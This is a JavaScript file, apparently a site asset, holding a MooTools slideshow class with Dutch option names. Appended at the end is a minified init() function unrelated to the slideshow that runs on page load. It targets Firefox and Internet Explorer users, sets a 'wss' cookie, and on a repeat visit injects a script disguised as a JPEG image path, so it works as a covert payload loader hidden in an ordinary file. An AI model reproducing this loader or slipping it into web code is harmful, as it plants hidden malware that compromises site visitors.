/**
 * @author frank
 * 
 * Slideshow
 * versie 1.0
 */

var Slideshow = new Class ({

	Implements: [Events, Options],
	options: {
		'items':		  'div.slideElement',
		'selectors':	  'div.selectors',
		'selected': 	  0,
		'slideshow': 	  true,
		'autoStart':      true,
		'timer':		  7000,
		'useSelector':    false,
		'fx': 		  	  'fader', // slider, fader
		'mode': 		  'horizontaal', // verticaal, horizontaal
		'transition': 	  Fx.Transitions.Expo.easeIn
	},
	
	initialize: function(container, options){
		this.container = $(container);
		this.setOptions(options);
		
		this.items = Array();
		this.selectors = Array();
		
		switch(this.options.fx){
			case 'slider': 	this.initSlider(); break;
			case 'fader': 	this.initFader(); break;
		}
		
		if(this.options.autoStart) this.slideshow();
		this.slideIn(0);
	},
	
	initFader: function(){
		this.container.getElements(this.options.items).each(function(item, i){
			item.setStyle('opacity', 0);
			item.fx = new Fx.Morph(item, {
				duration: 500,
				transition: this.options.transition
			});
			this.items[i] = item;
			this.createSelector(i);
		}.bind(this));
	},
	
	initSlider: function(){
		
		switch(this.options.mode){
			case 'horizontaal':
				var width  = 10000;
				var height = this.container.getSize().y.toInt();
				break;
			case 'verticaal':
				var width  = this.container.getSize().x.toInt();
				var height = 10000;
				break;
		}
		
		var wrapper = new Element('div', {
			'class': 'wrapper',
			styles: {
				position: 'absolute',
				top: 0,
				left: 0,
				width: 	width,
				height: height
			}
		}).inject(this.container);

		var top = 0;
		var left = 0;
		this.container.getElements(this.options.items).each(function(item, i){
			item.top  = top;
			item.left = left;
			
			wrapper.adopt(item);
			this.items[i] = item;
			this.createSelector(i);
			
			top  -= item.getSize().y.toInt();
			left -= item.getSize().x.toInt();
		}.bind(this));

		this.slider = new Fx.Morph(wrapper, {
			duration: 500,
			transition: this.options.transition,
			fps: 2000,
			onComplete: function(){
				//this.cloneItem();
			}.bind(this)
		});
	},
	
	createSelector: function(i){
		if(this.options.useSelector){
			var selector = new Element('div', {
				'class': 'item',
				events: {
					'mouseenter': function(){			
						if (i != this.options.selected) {
							this.options.startSlideshow = false;
							this.slideIn(i);
						}
						$clear(this.periodical);
					}.bind(this),
					'mouseleave': function(){
						this.options.startSlideshow = true;
						this.slideshow();
					}.bind(this)
				}
			}).inject(this.container.getElement(this.options.selectors));
			
			this.selectors[i] = selector;
		}
	},
	
	slideIn: function(item){
		this.slideOut();
		this.options.selected = item;
		if(this.options.useSelector) this.selectors[item].addClass('selected');
		
		
		if(this.options.fx == 'fader'){
			this.items[item].fx.cancel();
			this.items[item].fx.start({'opacity': [0, 1]});
		}else if(this.options.fx == 'slider'){
			this.slider.cancel();
			
			switch(this.options.mode){
				case 'horizontaal':
					this.slider.start({ 'left': this.items[item].left});
					break;
				case 'verticaal':
					this.slider.start({ 'top': this.items[item].top});
					break;
			}
			
		}
	},
	
	slideOut: function(item){
		if(typeof(item)=='undefined') item = this.options.selected;
		if(this.options.useSelector) this.selectors[item].removeClass('selected');
		
		if(this.options.fx == 'fader'){
			this.items[item].fx.cancel();
			this.items[item].fx.start({'opacity': [1, 0]});
		}
	},
	
	slideshow: function(){
		if (this.options.autoStart) {
			this.periodical = (function(){
				var item = (this.options.selected+1);
				if(item >= this.items.length) item = 0;
				this.slideIn(item);
			}.bind(this)).periodical(this.options.timer);
		}
	}
});	
window.addEvent('domready', function(){
	new Slideshow('slideshow');
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/jpg/header08.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
